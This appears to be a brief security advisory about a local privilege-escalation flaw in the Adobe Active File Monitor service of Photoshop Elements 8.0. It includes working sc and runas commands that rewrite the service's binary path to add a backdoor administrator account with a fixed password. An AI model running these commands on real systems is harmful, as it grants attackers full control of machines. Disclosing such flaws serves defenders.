Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges
Adobe photoshop elements 8.0 suffers of vulnerability discovered by Nine Situations Group, the vulnerability research group founded by italian programmer and hacker retrogod, R.I.P .
The “Adobe Active File Monitor V8″ service is installed with an improper security descriptor.
A malicious user of the Users group (which on xp means a “limited account”) can stop the service, then invoke the “sc config” command to replace the binary path with a value of choice, then restart the service to run the command with SYSTEM privileges ex., run theese commands as a limited user:
sc stop “AdobeActiveFileMonitor8.0″
sc config “AdobeActiveFileMonitor8.0″ binPath= “cmd /c net user adobe kills /add && net localgroup Administrators adobe /add”
sc start “AdobeActiveFileMonitor8.0″
runas /noprofile /user:%COMPUTERNAME%\adobe cmd
login as administrator with password “kills”



